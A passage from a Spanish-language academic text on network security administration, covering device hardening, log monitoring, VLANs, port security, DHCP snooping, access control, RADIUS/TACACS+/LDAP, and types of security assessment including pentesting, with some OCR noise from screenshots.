definidas en lugar de crear los elementos de seguridad “al vuelo”. Estas reglas se concretaran en politicas
de seguridad de la organizacién las que a su vez dictaran los procedimientos técnicos a seguir para el
mantenimiento de una red segura.

En esta seccion se describen algunos de los principios fundamentales que los administradores de red
deben seguir a la hora de administrar el entorno de red.

Seguridad de Dispositivos

Debido a que continuamente se agregan nuevos dispositivos a la red, la tarea de asegurar dispositivos
nunca termina y es clave para mantener la seguridad de la red.

A continuacion y adaptado de [18] se menciona una lista de buenas practicas de seguridad para todos los
dispositivos de red en general (switch, router, firewall) que deben considerarse en un entorno de red
segura:

e Tomar las medidas necesarias por cualquier vulnerabilidad asociada con la version actual del
software. Estas medidas pueden ser actualizaciones de software, cambios de configuracion u otros
controles compensatorios.

e Deshabilitar todos los servicios innecesarios del software del dispositivo.

e Seguir buenas préacticas para la administracion de SNMP.

e El procedimiento de creacion de cuentas de usuario debe establecer que las cuentas se crean solo
cuando hay una necesidad legitima de negocio. Deben revisarse y evaluarse procesos para
asegurarse que las cuentas se remueven o deshabilitan oportunamente en evento de terminacion o
cambio de trabajo.

e Hay que tener medidas apropiadas para las contrasefias (creacion y administracion).

e Usar protocolos de administracion seguros cuando sea posible.

e Mantener respaldos actualizados para los archivos de configuracion.

e Lageneracion de logs debe estar habilitada y se envian a un sistema centralizado.

e Habilitar NTP.
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e Configurar un banner para que todos los usuarios que se conectan tengan conocimiento de la
politica de la compafiia para el uso y monitoreo.

e Aplicar controles de acceso al puerto consola.

e El equipamiento de red se resguarda en una locacion segura.

e Usar una convencion estandar de nombres para todos los dispositivos.

Monitoreo y Analisis de logs

Un log es un registro de un evento que ocurre. Diferentes tipos de logs registran diferente informacién

[4]:

e Los logs de seguridad son particularmente importantes debido a que revelan los tipos de ataques
gue estan siendo dirigidos a la red y si cualquiera de estos ataques fue exitoso.

e Un log de acceso proporciona detalles sobre solicitudes por archivos especificos del sistema.

e Un log de auditoria se utiliza para registrar cuales usuarios realizan una acciéon y en qué
consistié esa accion.

e Un log de eventos del sistema documenta cualquier evento fallido y los eventos exitosos mas
significativos.

El tipo de informacidn que puede registrar un log incluye la fecha y hora del evento, una descripcion del
evento, su estatus, codigos de error, nombre de servicio y el usuario o sistema que fue responsable de
lanzar el evento.

El monitoreo de logs del sistema es un paso importante que puede beneficiar a una organizacion de
diferentes maneras. Estas pueden ser [4]:

e Una revision y analisis de logs de forma rutinaria ayuda a identificar incidentes de seguridad,
violaciones a la politica, actividades fraudulentas y problemas operacionales poco tiempo después
de haber ocurrido.

e Los logs pueden ser Utiles para realizar analisis de auditorias, apoyar las investigaciones internas
de la organizacidn e identificar tendencias operacionales y problemas a largo plazo.

e Los logs pueden proporcionar documentacion de que la organizacién cumple con leyes y
requerimientos regulatorios.

Casi cada dispositivo presente en la red, ya sea un dispositivo estandar de red (switches, routers, proxy) y
dispositivos de seguridad (firewall, IDS/IPS) puede crear logs. Estos logs de dispositivos de red tienen un
valor importante en el mantenimiento de una red segura.

Debido a la alta cantidad de logs que se producen en una red existen varios problemas para la
administracion de los logs o para la generacién, almacenamiento, analisis y destruccion de logs. Esto es
debido a [4]:

e Multiples dispositivos generando logs: casi cualquier dispositivo en la red genera logs y cada
uno de ellos interpreta un evento segdn su contexto.

e Gran volumen de datos: como cada dispositivo genera sus propios datos una gran cantidad de
ellos se puede acumular en un periodo corto de tiempo. Adicionalmente, muchos dispositivos
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registran todos los eventos y no solo los de seguridad lo cual incrementa todavia mas la gran
cantidad de datos.

o Diferentes formatos de logs: tal vez el mayor obstaculo para la administracion de logs es que
diferentes dispositivos registran informacién de log en diferentes formatos e incluso capturan
diferentes datos. Combinar maltiples logs cada uno con formatos diferentes puede ser un gran
desafio.

Una solucion para la administracion de logs es usar un dispositivo centralizado para su analisis. Estos
sistemas estan disefiados para recolectar y consolidar logs provenientes de diferentes origenes para hacer
mas sencillo su analisis (Figura 20).

e :
LogAnalyze @ [Seectasve |2 -

ANALYSIS & REPORTING Servidor Syslog para consul =

Syslog Fields -

® |® Search |@ Show Events Z Statistics ® Help "™ Searchin Knowledge Base |¥% Admin Center |-  Logoff Logged in as "admin'

| | Advanced Search

Search (filter): (sample: facility:local0 severity:warning)
| Search | I I'd like to feel sad | | Reset search | | Highlight >> |
Recent syslog [> select Exportform: '13
Page 1 |Set auto reload: [Auto reload ~|[Total records found: 23
Today 13:33:00 Y cron 040prx005 @ /usr/sbin/cron[30428]: Syslog &l (operator) CMD (fust/lbexec/save-entropy)

Today 13:30:00 Y cron 040prx005 &Y /ysr/sbin/ cron[30425]: Syslog &l (root) CMD (fust/libexec/atrun)
Today 13:25:00 Y cron £ @ /usr/sbin/cron[30410]: Syslog &l (root) CMD (fusr/libexec/atrun)
Today 13:22:00 Y cron D /usr/sbin/cron[30393]: Syslog &l (operator) CMD (/ust/libexec/save-entropy)
Today 13:20:00 &Y crRoN @ /usr/sbin/cron[268081: Syslog &l (root) CMD (fusr/libexec/atrun)

Today 13:15:00 Y croN fadb gy 040PrX005 & /usr/sbin/cron[24503]: Syslog &} (root) CMD (fust/ibexec/atrun)

Today 13:11:00 Y cron D /usr/sbin/cron[24365]: Syslog &0l (operator) CMD (fust/libexec/save-entropy)
Today 13:10:00 Y cron @ /usr/sbin/cron[24363]: Syslog &l (root) CMD (fusr/libexec/atrun)
Today 13:05:00 3% cron @ Jusr/sbin/cron[243571: Syslog &l (root) CMD (fusr/libexec/atrun)
Today 13:04:27 Y gys) 06 @ rsyslogd: Syslog & [origin software="rsyslogd" swVersion="3.22.3"
x-pid="24353" x-info="http://www ...
Today 13:02:54 & sys) oEs D rsyslogd: Syslog &l Warning: backward compatibility layer added to following
] directive to rsyslog.co ...
Today 13:02:54 & gysioGghkalz ] 040prx005 & rsyslogd: Syslog &0 Warning: backward compatibility layer added to following
directive to rsyslog.co ...
Today 13:02:54 & SVSLOG 040prx005 & rsysiogd: Syslog  &l} Warning: backward compatibility layer added to following
directive to rsyslog.co ...
Today 13:02:54 & SVSLOG 040prx005 & rsyslogd: Syslog &l WARNING: rsyslogd is running in compatibiity mode.
Automatically generated conf ...
Today 13:02:54 & gys106 %) 040prx005 &Y rsyslogd: Syslog & [origin software="rsyslogd" swVersion="3.22.3"
x-pid="24327" x-info="http://www ...
Today 13:01:25 & D rsyslogd: Syslog & Warning: backward compatibility layer added to following
directive to rsyslog.co ...
Today 13:01:25 &Y gysiofala ] 040prx005 & rsyslogd: Syslog @ Warning: backward compatibiity layer added to following
directive to rsyslog.co ...
Today 13:01:25 & gysioclla: ] 040prx005 &Y rsyslogd: Syslog &l Warning: backward compatibiity layer added to following
directive to rsyslog.co ...
Today 13:01:25 ¢ D rsyslogd: Syslog &l No UDP listen socket could successfully be initialized,
message reception via UD ...
Today 13:01:25 D rsyslogd: Syslog &l bind: Address already in use
Today 13:01:25 ¢ @ rsyslogd: Syslog &t bind: Address already in use
Today 13:01:25 ¢ D rsyslogd: Syslog &} WARNING: rsyslogd is running in compatibility mode.
Automatically generated conf ...
Today 13:01:25 3y SYSLOG 040prx005 & rsyslogd: Syslog & [origin software="rsyslogd" swVersion="3.22.3"
X pld "24291" x-info= http //www
Made by Adiscon GmbH Adiscon LogAnalyzer Version Darthers: Rsyslog | Page rendered in: 0.0245 seconds | DB queries: 11 | GZIP enabled yes | Script
(2008-2011) il WinSyslog Timeout: 30 seconds

Figura 20. Adiscon Log Analzer es un ejemplo de herramientas centralizada de gestion de logs
Administracion del Disefio de la Red

Adicional a la seguridad de los dispositivos y el analisis de logs, varios principios de administracion de
disefio la red se deben seguir para garantizar que la seguridad y la viabilidad de la red se mantengan. La
separacion de la red y la administracion de VLAN son dos principios que deben ser considerados.
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Separacion de la Red

Una de las reglas mas importantes del disefio de red es separar las partes seguras de las inseguras. Esto
significa que la parte de la red que contiene los sistemas mas criticos no debe ser accesible desde partes
de la red que contienen sistemas poco importantes y menos seguros.

Administracién de VLAN

Una VLAN permite que usuarios dispersos sean agrupados l6gicamente incluso si estos estan conectados
a switches distintos lo que reduce el trafico y de red y proporciona seguridad ya que los miembros de una
VLAN no reciben los frames que se generan en una VLAN diferente.

Algunos principios generales para la administracion de VLANS son [4]:

e Configurar puertos del switch que no se estén usando en una VLAN no enrutable.

o  Cambiar cualquier VLAN por defecto.

e Configurar los puertos troncales en los switches para que solo reenvien los paquetes VLAN con
tag especificados explicitamente en lugar de pasar todos por defecto.

Reducir la Superficie de Vulnerabilidades (Hardening)

Asegurar los puertos fisicos es un paso importante en la administracién de la red. Algunas de las maneras
gue existen para limitar el acceso a la red son port security y deshabilitar interfaces sin usar.

Port Security

La mayoria de los switches de hoy en dia soportan una caracteristica conocida como port security que
limita cuales sistemas pueden conectarse a un puerto del switch enlazando una lista de direcciones MAC
especificas con el puerto. Port security también se conoce como limite de MAC debido a que se esta
limitando por direcciones MAC cuales sistemas pueden conectar a un puerto. Intentos por acceder a ese
puerto por otros hosts no listados resultaran en violaciones de seguridad.

Deshabilitar Interfaces Sin Usar (Puertos)

No s6lo hay que limitar los sistemas que pueden conectarse a los puertos en el switch, también se deben
deshabilitar los puertos que no estan siendo utilizado en el switch. Un router o switch que tiene puertos
sin asegurar permite a los atacantes conectarse a la red a través de ellos.

Deteccion de Dispositivos no Autorizados (Rogue)

Un dispositivo no autorizado (rogue) es un dispositivo conectado a la red sin el conocimiento ni permiso
de la organizacion. Hay un nimero de razones por las que un individuo puede conectar un sistema o
dispositivo a la red [3]:

e Sistema no autorizado: alguien puede conectar un sistema que ejecuta un sniffer a la red con la
intencién de capturar informacion confidencial, como contrasefias transmitidas a través de la red.

e Dispositivo no autorizado: un empleado podria conectar un router inalambrico no autorizado a
la red para conectar sus dispositivos madviles y acceder a Internet usando la red de la compafiia.
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Aunque el uso de port security en los switches deberia reducir la probabilidad de tener sistemas o
dispositivos no autorizados en la red, es importante asegurarse de monitorear la red y hacer seguimiento
de cuales sistemas y dispositivos estan conectados.

DHCP Snooping

DHCP Snooping es una tecnologia de seguridad capa 2 integrada en el software que sirve para descartar
determinado trafico DHCP. Garantiza que los clientes DHCP obtienen direcciones IP solo de servidores
DHCP autorizados. Ademas registra asociaciones IP-a-MAC de clientes DHCP (llamadas entradas DHCP
snooping) con fines de seguridad.

DHCP snooping define puertos confiables y no confiables para asegurar que los clientes obtienen
direcciones IP solo de servidores DHCP autorizados [19]:

e Puertos confiables: un puerto confiable puede reenviar mensajes DHCP correctamente para
asegurar que los clientes obtienen direcciones IP de servidores autorizados.

e Puertos no confiables: un puerto no confiable descarta mensajes DHCP-ACK y DHCP-OFFER
para evitar que servidores no autorizados asignen direcciones IP.

DHCP snooping lee mensajes DHCP-ACK recibidos de puertos confiables y mensajes DHCP-REQUEST
para crear entradas DHCP snooping. Una entrada DHCP snooping incluye la MAC y direcciones IP de un
cliente, el puerto que conecta al cliente DHCP y la VLAN.

En la Figura 21 el cliente DHCP solo puede recibir una direccién IP del servidor legitimo ya que el puerto
que conecta al servidor no autorizado estd marcado como no confiable (untrusted).

DHCP server

DHCP snooping

Untrusted

DHCP client Unauthorized
DHCP server
—_—.
DHCP reply messages

Figura 21. Puertos confiables y no confiables en DHCP Snooping

Fuente: tomado de [19]
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2.4 Control de Acceso

Por lo general y para garantizar la seguridad de la informacidn un usuario que desea conectarse a algun
recurso primero debe identificarse como usuario autorizado haciendo uso de algin mecanismo tal como
un nombre de usuario y una contrasefia. Este acto de autenticar solo usuarios autorizados y controlar su
acceso a los recursos son fundamentos importantes en la seguridad de la informacién.

2.4.1 ¢ Qué es Control de Acceso?

El control de acceso, como lo indica su hombre, es garantizar o denegar recursos o Servicios a usuarios
especificos [4]. El control de acceso fisico consiste de barreras y todo aquello que limite el contacto con
los dispositivos. De manera similar, un control de acceso técnico consiste de una restriccion logica que
limita a usuarios en los equipos del acceso a ciertos datos.

Mejores Préacticas Para el Control de Acceso

Establecer un conjunto de “mejores practicas” para limitar el acceso ayuda enormemente a mantener los
sistemas y sus datos seguros. Algunas de estas practicas son la separacion de funciones, rotacion de
trabajos, minimos privilegios, denegacion implicita y vacaciones obligatorias.

Separacion de Tareas

Es un principio fundamental del control de acceso que consiste en no dar a una sola persona el control
total. Esta préctica requiere que si la aplicaciéon fraudulenta de un proceso pudiera resultar en una
violacion de la seguridad, este proceso debe ser divido en dos o mas individuos [4]. Por ejemplo, si la
tarea de propietario y administrador de un recurso son realizadas por un mismo individuo, esto podria
proporcionar a esa persona con el control total sobre todas las configuraciones de seguridad.

Rotacién de Trabajo

En lugar de una persona que tiene la responsabilidad exclusiva de una funcién, los individuos se mueven
periédicamente de una responsabilidad de trabajo a otra. Los empleados pueden rotarse dentro del mismo
departamento o a través de posiciones en otros departamentos.

La rotacion de trabajo no siempre es practica y se limita a las posiciones menos especializadas. En
algunos casos, los empleados no pueden estar en un trabajo especifico el tiempo suficiente para
desarrollar competencia y la productividad puede perderse en el tiempo que se necesita para formar a los
empleados en las nuevas tareas [4].

Minimos Privilegios

Es un principio que en control de acceso significa que s6lo debe asignarse la cantidad minima de
privilegios necesarios para realizar un trabajo o funcion. Esto ayuda a reducir la superficie de ataque
mediante la eliminacién de privilegios innecesarios que podrian proporcionar una via para un atacante.

Los privilegios minimos deben aplican tanto para usuarios como para procesos ejecutando en el sistema.
Para los procesos, es importante que estén disefiados para que se ejecuten en el nivel de seguridad minimo
necesario para funcionar correctamente. Los usuarios también deben recibir solo aquellos privilegios que
necesitan para realizar sus tareas requeridas.
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Denegacion Implicita

La denegacion implicita en el control de acceso significa que si una condicion no se cumple
explicitamente, la peticion de acceso es rechazada. Al crear restricciones de control de acceso, se
recomienda que a menos que la condicion se cumple exactamente, el acceso debe denegarse.

Vacaciones Obligatorias

En muchos esquemas de fraude, el autor debe estar presente todos los dias con el fin de continuar con el
fraude o evitar ser expuesto. Por esta razon y para contrarrestar esto muchas organizaciones tienen como
norma vacaciones obligatorias para todos los empleados. Las auditorias de las actividades de un empleado
con posicion importante dentro de una organizacion se planifican mientras ese empleado esta de
vacaciones.

2.4.2 Implementacién de Controles de Acceso
Varias tecnologias pueden ser utilizadas para implementar el control de acceso a los recursos. Algunas
implementaciones son listas de control de acceso (ACLS) y restricciones en las cuentas.

ACL (Access Control Lists)

Una lista de control de acceso (ACL) es un conjunto de permisos que estan unidos a un objeto [4]. Esta
lista especifica cuales individuos tienen permitido el acceso al objeto y que operaciones puede realizar.
Cuando un individuo solicita realizar una operacion sobre un objeto, el sistema chequea la ACL buscando
una entrada que apruebe la solicitud para decidir si la operacion es permitida.

Restricciones de Cuentas

Otro medio para hacer cumplir el control de acceso es colocar restricciones a las cuentas de usuario. Dos
de las restricciones mas usuales son por tiempo y por expiracion.

Restricciones de Tiempo

Son restricciones que se pueden usar para limitar cuando un usuario tiene permitido iniciar sesién en un
sistema o acceder a algun recurso [4]. Al establecer estas restricciones, un administrador por lo general
indica las veces que un usuario tiene restringido el acceso al sistema o recursos

Expiracion de Cuentas

La expiracion de una cuenta es el proceso de configurar una cuenta de usuario para que caduque. Indica
cuando la cuenta esta va a dejar de estar activa. La expiracion de una cuenta puede ser explicita en la que
la cuenta caduca en una fecha determinada o puede ser basada en un numero especifico de dias de
inactividad. Algunos de las consecuencias de no tener una politica de expiracion de cuentas es que da
lugar a las siguientes irregularidades con las cuentas [4]:

e Cuentas huérfanas que son cuentas de usuario que permanecen activas después de que un
empleado ha abandonado la organizacion.
e Cuentas inactivas que son aquellas que no se han utilizado por periodos largos de tiempo.
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Ambos tipos de cuentas representan un riesgo de seguridad ya que, por ejemplo, un empleado que
abandona la organizacion en condiciones poco amistosas podria intentar hacer uso de su cuenta para robar
0 borrar informacion sensible.

2.4.3 Servicios de Autenticacion

La autenticacion es el proceso de verificar que los credenciales de una persona que trata de iniciar sesion
en un sistema son validos para asegurar que el usuario es efectivamente quien dice ser [4]. Los servicios
de autenticacion pueden ser proporcionados en una red mediante un servidor AAA (Authentication,
Authorization and Accounting) dedicado o por un servidor de autenticacion el cual solo realice la labor de
autenticacion.

Un esquema AAA ofrece lo siguientes servicios [3]:

e Autenticacion (Authentication): el servicio de autenticacion es responsable por validar los
credenciales presentados por un usuario y por lo general involucra tener una base de datos de
autenticacion. Por ejemplo, cuando un usuario inicia sesién con un nombre de usuario y una
contrasefa, esa informacion se verifica contra una base de datos de cuentas.

e Autorizacion (Authorization): se refiere a la concesion de privilegios especificos (incluyendo
"ninguno™) a una entidad o usuario basandose en su identidad (autenticada), los privilegios que
solicita, y el estado actual del sistema. Una vez que la informacién de cuenta ha sido verificada, al
usuario se le garantiza el acceso a la red. EI componente de autorizacion podria necesitar otros
criterios ademas de la informacion de cuenta antes de garantizar el acceso. Por ejemplo, el
servicio de autorizacién podria requerir que la solicitud de autenticacion venga de una subred
especifica.

e Registro (Accounting): ocurre luego de que la autenticacién y la autorizacién se han completado.
Se refiere al mantenimiento de registros y seguimiento de las actividades del usuario. Los datos
gue se registran pueden ser (pero no se limitan a) la cantidad de tiempo que se pasa en la red, los
servicios a los que se accedié mientras se estaba alli y la cantidad de datos transferidos durante la
sesion. Algunos de los usos que se le dan a estos datos son el andlisis de tendencias, planificacion
de la capacidad, facturacién y auditoria.

Muchos servicios AAA se han implementado a través de los afios tales como RADIUS, DIAMETER y
TACACS+. Estos servicios ofrecen el beneficio de un sistema de autenticacion centralizado que ofrece
autenticacion, autorizacion y registro para una gran cantidad de entornos tales como redes inalambricas,
servicios de acceso remoto o VPNs.

En esta seccion se describiran brevemente los servicios RADIUS y TACACS+ que implementan el
esquema AAA y el servicio LDAP que no es AAA y solo proporciona servicio de autenticacion.

RADIUS (Remote Authentication Dial In User Service)

RADIUS es un protocolo para la realizacion de autenticacion, autorizacion y registro (AAA) e
informacion de configuracion centralizado entre un NAS (Network Access Server) el cual desea
autenticarse y un AS (Authentication Server) [13].
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RADIUS es un protocolo AAA que usa UDP como protocolo de transporte en los siguientes puertos:

e Puerto UDP 1812 para los servicios de autenticacion y autorizacion.
e Puerto UDP 1813 para los servicios de registro.

Las principales caracteristicas de RADIUS son [13]:

e Modelo cliente/servidor: un NAS (Network Access Server) opera como cliente RADIUS. El
cliente es responsable de pasar la informacién de usuario al servidor RADIUS designado y actuar
segun la respuesta que se le devuelve. Los servidores RADIUS son responsables de recibir las
solicitudes de conexion del usuario, la autenticacién del usuario, y luego regresar toda la
informacién de configuracion necesaria para que el cliente entregue el servicio al usuario. Un
servidor RADIUS puede actuar como cliente proxy a otros servidores RADIUS u otro tipo de
servidores de autenticacion.

e Seguridad de la red: las transacciones entre el cliente (NAS) y el servidor RADIUS se
autentican mediante el uso de una clave compartida. Ademas, todas las contrasefias de usuario se
envian cifradas entre el cliente y el servidor RADIUS para eliminar la posibilidad de que alguien
gue fisgonee en una red insegura pueda determinar la contrasefia de un usuario.

e Mecanismo de autenticacién flexible: el servidor RADIUS puede soportar una variedad de
métodos para autenticar un usuario. Cuando se proporciona con el nombre de usuario y la
contrasefia original dado por el usuario puede soportar PPP PAP o CHAP, inicio de sesién UNIX
y otros mecanismos de autenticacion.

Un cliente RADIUS no es el dispositivo desde el que el usuario esta solicitando la autenticacion
(computador de escritorio, por ejemplo). En su lugar, un cliente RADIUS es por lo general un dispositivo,
como un punto de acceso inalambrico (AP) o cualquier dispositivo con soporte del protocolo que se
encarga de enviar las credenciales de usuario y los parametros de conexién a un servidor RADIUS. Los
clientes RADIUS también envian mensajes de registro (accounting) a los servidores RADIUS. La
fortaleza de RADIUS es que los mensajes nunca se envian directamente entre los individuos que solicitan
la autenticacion y el servidor RADIUS. Esto evita que un atacante penetre el servidor RADIUS y
comprometa su seguridad.

RADIUS permite a una organizacion mantener perfiles de usuarios en una base de datos central que todos
los servidores remotos pueden compartir. Hacer esto aumenta la seguridad ya que permite a una
organizacion implementar una politica que puede ser aplicada en un solo punto de la red. Tener un
servicio central también significa que es mas facil de rastrear el uso y mantener estadisticas de la red.

En la Figura 22 se muestra una computadora cliente que necesita acceso a la red mediante una conexion
VPN a través de Internet. El servidor VPN en este caso es el cliente RADIUS (NAS) debido a que es el
quien envia la solicitud de autenticacion al servidor RADIUS en la red. El servidor RADIUS verifica las
credenciales y las envia de vuelta al usuario de la red para garantizar o denegar el acceso.
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Figura 22. Servidor RADIUS para autenticar una conexion VPN

Fuente: tomada de [3]

Existe un protocolo méas nuevo que se disefié para reemplazar a RADIUS y se llama DIAMETER [3].
Esta basado en TCP como protocolo de transporte.

TACACS+ (Terminal Access Control Access Control System+)

El protocolo TACACS+ es el protocolo AAA usado en redes Cisco y reemplaza al TACACS original
(que no era AAA). Usa TCP para la comunicacion y la misma topologia que RADIUS en el sentido de
gue el usuario trata de conectar a la red y el NAS (Network Access Server), que es el cliente TACACS,
envia la solicitud de autenticacion al servidor TACACS.

TACACS+ es mejor que RADIUS desde el punto de vista de la seguridad debido a que cifra toda la
informacidn entre el cliente TACACS (NAS) y el servidor TACACS mientras que RADIUS cifra solo la
contrasefa entre el cliente RADIUS (NAS) y el servidor RADIUS [3].

LDAP (Lightweight Directory Access Protocol)

LDAP es un protocolo disefiado para acceso a servicios de directorio sobre el puerto TCP 389 y permite a
las aplicaciones compatibles con LDAP autenticar a un directorio y entonces recibir informacion sobre
objetos guardados en el directorio.

Por defecto el trafico LDAP es transmitido en texto plano. El trafico LDAP se puede asegurar haciendo
uso de SSL (Secure Sockets Layer) o TLS (Transport Layer Security). Esto se conoce como LDAPS
(LDAP over SSL) y usa el puerto TCP 636
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2.5 Evaluacion de la Seguridad

Evaluar la seguridad es una tarea importante que debe realizarse de forma regular y saber cdmo hacer
dicha evaluacién es una habilidad muy importante. La seguridad es mucho més que solo firewalls y
permisos. En esta seccion se describen brevemente los diferentes tipos de evaluacion de la seguridad
informatica que pueden hacerse en una organizacion y algunas de las técnicas mas importantes para
ejecutar durante el proceso. La salida de una evaluacion de seguridad siempre va a ser un conjunto de
vulnerabilidades que luego la organizacidn debera mitigar.

2.5.1 Controles de Seguridad
Antes de abordar el tema de la evaluacion de la seguridad conviene discutir un concepto fundamental en
materia de seguridad informatica: Los controles (contramedidas) de seguridad.

Los controles de seguridad (también llamados a veces contramedidas de seguridad) son todas aquellas
medidas que se implementan para proteger la confidencialidad, integridad y disponibilidad de los activos
y datos mas importantes [17]. Las contramedidas de seguridad son los componentes basicos de un
programa de seguridad. Gran parte del trabajo de evaluacion que un analista de seguridad lleva a cabo se
centra en los controles que una organizacién tiene (o no tiene) para reducir el riesgo. A los analistas les
concierne el grado de eficacia de las contramedidas y si logran los objetivos establecidos por las politicas
de seguridad.

Los controles de seguridad se suelen considerar en términos de tecnologias. Firewalls e IPS vienen a la
mente, pero hay muchos tipos de controles que se pueden utilizar para proteger los sistemas. Una
organizacion puede tener implementado una alta variedad de contramedidas de seguridad para proteger
los activos. La clasificacion primaria de los controles se puede lograr mediante su agrupacion en tres
categorias principales [17]:

e Controles Administrativos: los controles de seguridad administrativos estdn definidos como
politicas, procedimientos y actividades que protegen los activos de la organizacién. Este tipo de
contramedida se centra normalmente en la gestién de personas y suelen ser cosas que los
empleados pueden hacer, deben hacer siempre 0 no deben hacer.

e Controles Técnicos: los controles técnicos consisten en las tecnologias que se implementen para
asegurar la red o recursos de computacién. Puede incluir firewalls, IDS/IPS, HIPS, soluciones
anti virus o cualquier otro mecanismo para la proteccion logica de los activos.

e Contramedidas Fisicos: los controles de seguridad fisicos son aquellos controles que estan
asociados con la proteccion de los empleados y las instalaciones de la organizacion. Este tipo de
contramedida esta disefiada para restringir el acceso a los dispositivos y areas sensibles. En una
oficina, los controles fisicos pueden ser puertas cerradas, sistemas de acceso tarjeta clave, video
vigilancia, guardias, puertas, etc.

2.5.2 Tipos de Evaluacion
Evaluacion de Riesgo

También se le conoce como analisis de riesgos y se ocupa de la identificacion de las amenazas para los
activos dentro de la organizacion y la busqueda de soluciones para minimizar estos riesgos. A
continuacion se describen las principales fases en una evaluacion de riesgos [3]:
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o Identificar activos: un activo es cualquier cosa que tenga un valor para el negocio. El primer
paso es una evaluacion de riesgos es identificar los activos.

e ldentificar amenazas (riesgos) contra activos: una vez identificaos los activos el siguiente paso
es identificar las amenazas contra cada uno de estos activos. En este punto solo es necesario hacer
listas de amenazas.

e Priorizar amenazas: luego de identificar todas las amenazas a los activos se debe clasificar cada
amenaza basandose en el impacto que pueda tener en el negocio si la amenaza se hace una
realidad y considerando la probabilidad de que la amenaza ocurra. La idea es hacerse una idea de
cuales amenazas son mas serias que otras.

e Mitigar la amenaza: una vez priorizadas las amenazas se puede entonces buscar la manera de
mitigarlas. Por ejemplo, se puede prevenir un ataque al servidor web colocandolo detrds de un
firewall.

Evaluacion de Configuraciones

Con una evaluacion de configuraciones el administrador de seguridad revisara las configuraciones de
seguridad de un sistema o red. Esto por lo general involucra tener una checklist de mejores précticas en
configuraciones y asegurarse de que esas mejoras practicas se estan siguiendo. La siguiente es una lista de
algunos activos cuyas configuraciones se podrian chequear [3]:

e Todos los sistemas: al evaluar la seguridad de cualquier sistema, hay que asegurarse que esta al
dia con los parches y se ha reducido la superficie de vulnerabilidades (hardening). Debe
comprobarse que ningun software o servicios innecesarios se estan ejecutando en el sistema.
Todos los sistemas deben solicitar a los usuarios iniciar sesion con contrasefias seguras. Todos
los sistemas deben tener un software antivirus instalado con la base de datos de firmas de virus
con actualizaciones automaticas. Un firewall basado en host también debe estar configurado y
habilitado.

e Routers: los routers deben tener configurados contrasefias para sus puertos de administracion
(consola, auxiliar) con el fin de controlar quien obtiene acceso administrativo al equipo. Por
razones de seguridad debe usarse SSH en lugar de Telnet para administrar remotamente el router.
Hay que asegurarse que el router tiene ACLs implementadas que controlan el trafico que esta
permitido pasar por el router.

e Firewalls: los firewalls deben configurarse para denegar todo el trafico excepto aquel que se
permite explicitamente pasar a través del firewall. Debido a que los firewalls estan conectados a
Internet hay que asegurarse que todas las caracteristicas de administracion remota se han
deshabilitado y que se usa una autenticacion fuerte en el dispositivo.

e Switches: en lo que se refiere a la configuracién del switch, hay que asegurarse que hay
contrasefias establecidas en el puerto consola, puerto auxiliar y puertos de administracion remota
(Telnet, SSH) para controlar quién puede obtener acceso administrativo al dispositivo. También
debe chequearse si los puertos no utilizados se deshabilitaron para garantizar la seguridad de los
puertos. Separar los sistemas en diferentes segmentos de la red, comprobar si se estan utilizando
VLAN y si no, validar si se deberia.

e Seguridad fisica: durante una evaluacion manual puede ser deseable comprobar la seguridad
fisica. ¢Estan todas las puertas y ventanas cerradas? ;Se cambi6 la configuracion CMOS de los
sistemas para que no pueda arrancar el sistema desde un live CD? ¢Estan las estaciones de
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trabajo que contienen informacidn confidencial alejadas de espectadores no autorizados? ¢Estan
los sistemas secretos en areas protegidas con los puertos USB deshabilitados para evitar el uso de
flash drives?

Evaluacion de Vulnerabilidades

Una evaluacion de vulnerabilidades es una prueba en la que se identifican las areas en la configuracion
que hacen que un sistema sea vulnerable a un ataque o incidente de seguridad. La mayoria de las
evaluaciones de vulnerabilidades se hacen de forma automatizada mediante el uso de herramientas
software tales como Nessus, Nexpose y OpenVAS que son las mas importantes.

El proposito de una herramienta de evaluacion de vulnerabilidades es analizar la configuracion de un
sistema para determinar las areas que necesitan ser mejoradas desde el punto de vista de la seguridad.

A continuacién se describen algunos de los elementos que una evaluacion de vulnerabilidades podria
verificar [3]:

e Cuentas sin usar: chequea si hay cuentas de usuario que no se han usado recientemente. Muchas
compafias tiene empleados que abandonan sin que el administrador haya sido notificado para
deshabilitar su cuenta. Una cuenta que no se esté usando corre el riesgo de ser comprometida por
un atacante.

o Cuentas administrativas: es necesario vigilar las cuentas de administrador adicionales debido a
que un atacante podria haber plantado una como puerta trasera en el sistema. A menor nimero de
cuentas administrativas, mejor, debido a que es necesario limitar el nimero de personas que
pueden realizar cambios en el entorno.

e Sistemas operativos sin parchear: un sistema sin parches presenta un gran riesgo para la
seguridad, asi que hay que aseglrese de identificar los sistemas sin parchear. La mayoria de
software de evaluacion de vulnerabilidades identifica los sistemas operativos que no estan
parcheados.

e Software sin parchear: no sélo hay que identificar los sistemas operativos sin parches, también
hay que comprobar el software sin parchear.

e Software vulnerable: una gran ventaja del software de evaluacién de la vulnerabilidad es que
identificara cualquier software vulnerable que se ejecute en el sistema. Por ejemplo, si el sistema
es vulnerable a un ataque CGl, el software de evaluacién lo hara saber.

Pentest (Penetration Testing)

Una prueba de intrusion o pentest es una prueba de seguridad en la cual los especialistas imitan ataques
del mundo real para identificar métodos que permitan eludir la seguridad de una aplicacion, sistema o red.
Implica ejecutar ataques sobre sistemas y datos reales usando herramientas y técnicas usadas cominmente
por un atacante. La mayoria de los pentest supone buscar combinaciones de vulnerabilidades en uno o
mas sistemas que puedan usarse para ganar mas acceso que explotando una sola vulnerabilidad. Un
pentest puede ser Gtil para identificar [20]:

¢ Que tan bien el sistema tolera patrones de ataque al estilo del mundo real.
e El nivel de sofisticacion que un atacante debe tener para comprometer el sistema.
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e Contramedidas adicionales que pueden mitigar amenazas contra el sistema.
o La habilidad del equipo TI para detectar ataques y responder apropiadamente.

Un pentest puede ser invaluable pero es una labor intensa y requiere gran experticia para minimizar el
riesgo de los sistemas objetivo. Los sistemas podrian dafiarse o incluso quedar inoperativos durante el
transcurso del pentest aun cuando los beneficios para la organizacion son conocer como un sistema puede
inutilizarse por un intruso. Pentesters experimentados pueden mitigar este riesgo aunque nunca puede
eliminarse completamente. Un pentest debe hacerse solo después de una cuidadosa consideracion,
notificacion y planeacion.

El pentest con frecuencia abarca métodos de ataque no técnicos. Por ejemplo, un pentester puede violar
los controles y procedimientos de seguridad fisicos para conectarse a la red, robar equipos, capturar
informacién sensible o interrumpir comunicaciones. Otro medio de ataque no técnico es el uso de
ingenieria social, como hacerse pasar por un agente de help desk y hacer una Ilamada para solicitar la
